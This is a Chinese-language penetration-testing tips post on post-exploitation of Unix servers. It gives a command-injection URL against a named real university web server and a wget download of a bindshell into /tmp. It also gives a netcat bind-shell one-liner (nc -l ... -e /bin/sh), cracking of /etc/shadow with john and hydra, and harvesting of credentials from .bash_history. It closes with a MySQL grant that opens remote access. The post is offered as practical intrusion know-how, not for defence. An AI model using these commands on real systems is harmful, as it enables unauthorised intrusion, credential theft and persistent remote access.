这些技巧大多源自技术专家 eong 分享的实战经验,在渗透测试中非常实用。例如,通过 wget 将 bindshell 下载到 /tmp 目录,或者在 /etc/inetd.conf 可写的情况下直接开启一个交互式 shell,再利用 gcc 进行编译。具体来说,执行类似这样的命令:https://cgiserver.sogang.ac.kr/~gsvi...ilename=rb9.txt|ls -al,其中 ls -al 用于列出文件清单,而双竖线后的部分则是实际执行的命令。
获得用户权限后,通常有几种后续操作。第一,使用 hydra 猜测密码(之前思路混乱时误用了 john 跑 shadow)。你可能会问:既然已经拿到 shell,为什么还要去破解普通用户的密码?要知道 root 往往无法直接登录。这样做的主要目的是查看 .bash_history 和其他资料,同时获取一个能通过 SSH/FTP/Telnet 登录的账号。例如 proftpd 的 0day 漏洞利用,通常需要一个能正常登录的账号。没有这个 webshell 就无法运行,因为连用户名(来自 /etc/passwd)都不清楚。而 .bash_history 里很可能已经包含了所需的用户名和密码,比如 MySQL 的账号,甚至管理员经常访问的其他服务器信息。当然,并非所有机器的访问限制都那么严格,/home 对 nobody 用户也常常可读,但我们必须考虑所有场景。
第二,如果已知的所有漏洞都已被修补,面对所有 SUID 程序都无计可施时,也许通过一个可以 su - 的账号就能骗取 root 权限。
第三,对个人而言,用 john 跑 shadow 是为了完善自己的密码字典和规则库。
第四,Netcat 与 pipe 的结合使用经验较少,这一点可以进一步交流。
另外,搜索 SUID 文件是有必要的——不仅仅是为了利用某个 SUID 程序,也能反映管理员的安全意识水平。当然现在可能还有 suidshell 这样的存在。例如使用 exec nc -l -n -p 60000 -e /bin/sh 开启一个监听 shell。
关于 MySQL 的 IP 禁止连接问题,可以通过以下方法解决:先找到配置文件 find / -name my.cnf -print,然后在 MySQL 中执行授权命令:grant all on *.* to username@IP identified by 'password';。
